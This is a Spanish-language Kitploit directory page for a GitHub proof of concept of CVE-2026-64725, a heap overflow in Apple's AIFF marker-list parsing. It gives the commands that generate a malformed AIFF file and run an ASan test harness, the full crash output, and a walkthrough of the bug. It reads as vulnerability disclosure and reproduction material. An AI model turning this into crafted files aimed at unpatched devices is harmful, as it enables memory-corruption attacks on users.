Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-64725-poc — Una PoC para el CVE-2026-64725 | Kitploit
Herramientas/GitHubGitHub/altvist/cve-2026-64725-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubaltvist/cve-2026-64725-poc

cve-2026-64725-poc

Una PoC para el CVE-2026-64725

Ver Repositorio
12hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

¿Qué hay en el repositorio?

Un PoC para CVE-2026-64725. Consulta el código fuente y la entrada del blog para más detalles.

¿Cómo reproducirlo?

Plataformas

Probado en macOS 26.4.1 (build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

Apple confirma que macOS/iOS/iPadOS < 26.6 son vulnerables.

PoC

  1. Asegúrate de que tu Mac ejecute la última versión de macOS

  2. Asegúrate de tener Python 3.6+ y clang instalados

  3. Clona el repositorio en tu Mac

  4. Genera un AIFF malformado mínimo que desencadene el bug de desplazamiento con signo en int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool):

    root@kitploit:~
    cd poc/
    python3 gen_marker_oob_aiff.py
    

    o

    root@kitploit:~
    cd poc/
    make aiff
    

    Como resultado, deberías obtener marker_oob.aiff.

Descargar herramienta
  • Compila el harness mínimo del PoC con ASan:

    root@kitploit:~
    make 
    

    Como resultado, deberías obtener marker_oob_harness.

  • Ejecutar el PoC

    root@kitploit:~
    ./marker_oob_harness marker_oob.aiff
    

    Deberías ver algo como

    root@kitploit:~
    buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
    ==62449==The signal is caused by a WRITE memory access.
    ==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
        #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
        #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
        #2 0x000104778ca4 in main marker_oob_harness.c:59
        #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)
    
    ==62449==Register values:
     x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
     x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
     x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
    x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
    x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
    x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
    x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
    x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
    ==62449==ABORTING
    zsh: abort      ./marker_oob_harness marker_oob.aiff
    

    ¿Qué ha ocurrido?

    En resumen:

    1. marker_oob_harness abrió marker_oob.aiff llamando a la API pública documentada AudioFileOpenURL(...)

    2. marker_oob_harness llamó a calloc para asignar un búfer de salida de longitud fija para los marcadores (no es la mejor práctica, pero ocurre a menudo en el mundo real; el patrón de código más seguro con GetMarkerListSize se analiza en "Safe cases" / "GetMarkerListSize → malloc(size) → GetMarkerList" más abajo)

    3. marker_oob_harness intentó obtener una lista de marcadores llamando a la API pública documentada AudioFileGetProperty(...) con inPropertyID=kAudioFilePropertyMarkerList. Todos los argumentos, incluidos el tamaño del búfer de salida y el puntero al búfer, eran correctos.

    4. AudioFileGetProperty(...) llamó internamente a la API no documentada int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool)

    5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) interpretó incorrectamente el tamaño (¡correcto!) del búfer de salida y escribe bytes de marker_oob.aiff más allá del final del búfer, por lo que viste el mensaje de crash de ASan. El comportamiento correcto esperado sería devolver un error de búfer demasiado pequeño o algo similar.

    El número de bytes escritos más allá del final del búfer depende del tamaño del archivo. Un archivo .aiff malicioso puede desbordar cualquier búfer de tamaño razonable si el archivo es lo bastante grande.

    Consulta la entrada del blog para más detalles.